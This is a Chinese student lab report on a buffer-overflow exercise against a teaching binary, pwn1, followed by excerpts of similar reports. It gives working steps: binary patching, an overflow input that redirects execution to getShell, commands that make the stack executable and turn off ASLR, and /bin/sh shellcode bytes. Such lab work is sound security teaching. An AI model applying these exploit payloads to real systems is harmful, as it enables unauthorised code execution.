20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解

实验内容

  1. 直接修改程序机器指令,改变程序执行流程;
  2. 通过构造输入参数,造成BOF攻击,改变程序执行流;
  3. 注入Shellcode并执行。

实验步骤

一:
  • 下载目标文件pwn1,反汇编

    利用

    objdump -d pwn1

    对pwn1进行反汇编;

  • vi pwn1打开pwn1;
  • 利用%!xxd将文件转换成16进制显示,利用/e8 d7ff ffff进行搜索将d7改为c3(计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff),利用%!xxd -r转回之前,再次进行反汇编;

二:
  • 编辑输入为

    perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input

    ,可用xxd input查看input,随后运行pwn1;

三:
  • 输入下面的指令
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
  • 构造输入
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
  • 输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号
  • 输入gdb,进入gdb调试,输入进程号
  • 然后输入info r,查看栈的地址
  • 使用x/16x 0xffffd33c查看其存放内容
  • 由我们构造的input_shellcode可知,shellcode就在其后,修改为这个地址;
  • 输入
  • perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"‘ > input_shellcode

    重新构造input

原文地址:https://www.cnblogs.com/javasyn/p/8598297.html

时间: 2024-10-07 14:50:59

20155231 邵煜楠《网络对抗技术》实验一 PC平台逆向破解的相关文章

2017-2018-2 20155333 《网络对抗技术》 Exp1 PC平台逆向破解

2017-2018-2 20155333 <网络对抗技术> Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何S

20155338《网络对抗技术》 Exp1 PC平台逆向破解

20155338<网络对抗技术> Exp1 PC平台逆向破解 实践目标 1.实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 3.该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段. 4.本次实践主要是学习两种方法: (1).利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发get

2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M

EX1 PC平台逆向破解1 20154309刘彦清 一.实践说明 ****1.实践目标 ·对象:pwn1(linux可执行文件) ·目标:是程序执行另一个代码片段 getshell ·内容: 人工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 注入一个自己制作的shellcode并运行这段shellcode. 2.实验目的 模拟现实情况中的攻击目标 ·运行原本不可访问的代码片段 ·强

20155313 杨瀚 《网络对抗技术》实验一 PC平台逆向破解(5)M

exp1 PC平台逆向破解(5)M 一.实验内容 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 3.注入一个自己制作的shellcode并运行这段shellcode. 二.实验目的 1.运行原本不可访问的代码片段 2.强行修改程序执行流 3.以及注入运行任意代码. 三.实验过程 第一阶段 1.将pwn1代码拷入kali上,改名20155313pwn1. 2.使用objd

网络对抗技术 实验一

实验报告一 学   号201421440025   中国人民公安大学  People Public Security University Of China 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 赵新桐 年级 2014 区队 网络安全与执法四区队 指导教师 高见     信息技术与网络安全学院 2017年7月7日 实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解

网络对抗技术—实验一实验报告

学   号:201421450005   中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 王潜翔 年级 2014级 区队 网安五区 指导教师 高见     信息技术与网络安全学院 2017年7月7日   实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解并熟悉常用搜索引擎

网络对抗技术——实验一

中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 雷浩 年级 2014级 区队 五区 指导教师 高见     信息技术与网络安全学院 2017年7月7日   实验任务总纲 2017-2018 学年 第 一 学期 一.实验目的 1.加深并消化本课程授课内容,复习所学过的互联网搜索技巧.方法和技术: 2.了解并熟悉常用搜索引擎.扫描工具.社交网站等互联网资源,对给定的任务进

网络对抗技术 实验报告四

网络对抗技术 实验报告   实验四 恶意代码技术     学生姓名 李飞扬 年级 2014级 区队 二区队 指导教师 高见     信息技术与网络安全学院 2016年11月7日   实验任务总纲 2016-2017 学年 第 一 学期 一.实验目的 1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制:通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识. 2.了解并熟悉常用的网络攻击工具,木马的基本功能: 3.达到巩固课程知识和实际应用的目的.

网络对抗技术实验四

Chinese people' public security university 网络对抗技术 实验报告   实验四 恶意代码技术     学生姓名 李御瑾 年级 2015 区队 三区队 指导教师 高见     信息技术与网络安全学院 2018年10月17日   实验任务总纲 2018-2019 学年 第 一 学期 一.实验目的 1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制:通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识. 2.